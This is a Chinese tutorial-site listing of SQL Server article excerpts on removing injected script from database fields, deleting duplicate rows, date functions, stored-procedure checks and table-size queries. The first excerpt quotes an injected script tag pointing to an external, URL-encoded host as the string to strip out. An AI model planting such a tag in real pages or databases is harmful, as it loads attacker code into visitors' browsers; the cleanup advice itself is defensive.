-
批量替换sqlserver数据库挂马字段并防范sql注入攻击的代码
首先备份数据库,以防不必要的损失。而后对所有被挂马的小于8000字符的varchar字段执行复制代码代码如下:update表名set字段名=replace(字段名,'<ScriptSrc=http://c.n%75clear3.com/css/c.js></Script>','')其中<ScriptSrc=http://c.n%75clear3.com/css/c.js></Script>为挂马字段...
数据库操作教程 2022-09-23 20:31:35 -
删除重复记录,并且剩下一条
我们可以通过下述方法删除重复记录:例:表名:dbo.品种描述$,字段包括:ID_PK,品种名称,性状标准编号,代码,首先创建一个和原表结构一样的表:复制代码代码如下:select*intotmpAfromdbo...
数据库操作教程 2022-09-23 20:29:56 -
mssql中获取指定日期所在月份的第一天的代码
获取指定日期月份的第一天,你可以使用DATEADD函数,减去指定日期的月份过去了的天数,即可。复制代码代码如下:CREATEFUNCTION[dbo].[udf_FirstDayOfMonth](@DateDATE)RETURNSDATETIMEASBEGINRETURNCAST(DATEADD(day,1-DAY(@Date),@Date)ASDATETIME)END或者,用DATEDIFF计算指定日期与日期开始之时,相隔几个月,然后再DATEADD加上这个相隔月份数,从零开始...
数据库操作教程 2022-09-23 20:29:08 -
sqlserver中如何查询出连续日期记录的代码
有在论坛上看到一帖,《请教查询出连续日期记录的方法》,截图如下:Insus.NET尝试写了程序并做了测试,可以得到预期的结果,SQL代码可参考和学习之用。复制代码代码如下:--创建一个临时表,将会存储连续日期的记录CREATETABLE#temp(IDDVARCHAR(10),SDATEDATETIME)DECLARE@sDDATETIME--开始日期DECLARE@eDDATETIME--结束日期--在记录中,找出开始与结束日期SELECT@sD=MIN([SDATE]),@eD=MAX([SDATE])FROM[TT]DECLARE@NINT=0--宣告一个变量,存储累记录数--循环日期WHILE(@sD<=@eD)BEGIN--如果存在IFEXISTS(SELECTTOP11FROM[TT]WHERE[SDATE]=@sD)BEGINSET@sD=DATEADD(day,1,@sD)--日期加1天SET@N=@N+1--记录加1ENDELSE--如果不存在BEGINIF(@N>=3)--判断是否大于或等于3INSERTINTO#tempSELECT[IDD],[SDA...
数据库操作教程 2022-09-23 20:27:36 -
Sqlserver存储过程中结合事务的代码
复制代码代码如下:--方式一ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo]...
数据库操作教程 2022-09-23 20:15:35 -
sql判断函数、存储过程是否存在的代码整理
下面为您介绍sql下用了判断各种资源是否存在的代码,需要的朋友可以参考下,希望对您学习sql的函数及数据库能够有所帮助。--库是否存在ifexists(select*frommaster..sysdatabaseswherename=N'库名')print'exists'elseprint'notexists'--判断要创建的表名是否存在ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo].[表名]')andOBJECTPROPERTY(id,N'IsUserTable')=1)--删除表droptable[dbo].[表名]GO--判断要创建临时表是否存在IfObject_Id('Tempdb.dbo.#Test')IsNotNullBeginprint'存在'EndElseBeginprint'不存在'End--判断要创建的存储过程名是否存在ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo].[存储过程名]')andOBJECTPROPERTY(id...
数据库操作教程 2022-09-23 18:00:00 -
利用sql函数生成不重复的订单号的代码
复制代码代码如下:ALTERfunction[dbo].[GetOrderNum](@ebaystockflagvarchar(20)//规则字母)returnsvarchar(100)ASBEGINdeclare@dtCHAR(8)declare@flagvarchar(20)set@flag='B'+@ebaystockflagset@dt=CONVERT(CHAR(8),GETDATE(),112)declare@maxvarchar(100)SELECT@max=MAX(OrderNumber)FROMtb_EbayOrderWITH(XLOCK,PAGLOCK)WHEREOrderNumberlike@flag+'%'set@max=isnull(@max,@flag+@dt+'000')--查不到结果给个默认值declare@avarchar(100)declare@numvarchar(10)declare@ordernumvarchar(20)set@a=Convert(varchar,right(@max,len(@max)-10))--截取数字部分if(LEFT(@...
数据库操作教程 2022-09-23 17:24:55 -
用SQL统计SQLServe表存储空间大小的代码
其实SQLServer提供了一个sp_spaceused的系统存储过程可以实现该功能,下面就是调用的SQL:复制代码代码如下:createtable#tb(表名sysname,记录数int,保留空间varchar(10),使用空间varchar(10),索引使用空间varchar(10),未用空间varchar(10))insertinto#tbexecsp_MSForEachTable'EXECsp_spaceused''?'''select*from#tbgodroptable#tb这样就可以枚举出每个表存储空间的详细使用情况!...
数据库操作教程 2022-09-23 17:07:19 -
SQL临时表递归查询子信息并返回记录的代码
复制代码代码如下:declare@Q_IDuniqueidentifierset@Q_ID=dbo.uf_GetParamValueByName(@Params,'@指标ID');declare@QAExp_IDchar(36)--指标属性公式IDset@QAExp_ID='3D2B8F3F-0B7E-46FD-9B33-050F846C2869'declare@temp_qidtable(QIDchar(36),ExpValuenvarchar(max))--临时表变量获得指标根IDdeclare@QIDtempchar(36),@expressnvarchar(4000)declare@kint=2--层次declare@patternnvarchar(2)='ID'--指标公式拆分字段declare@charidexint--指标对应的索引if(@OPType='根据指标ID查找公式所有子指标')begincreatetable#TempQuotaStruct--创建临时表#TmpStruct(QIDchar(36),--创建一个ID用来存储指标IDPIDchar(36),--用...
数据库操作教程 2022-09-23 17:04:04 -
SQLSERVER本地查询更新操作远程数据库的代码
复制代码代码如下:--PKselect*fromsys.key_constraintswhereobject_id=OBJECT_ID('TB')--FKselect*fromsys...
数据库操作教程 2022-09-23 17:01:39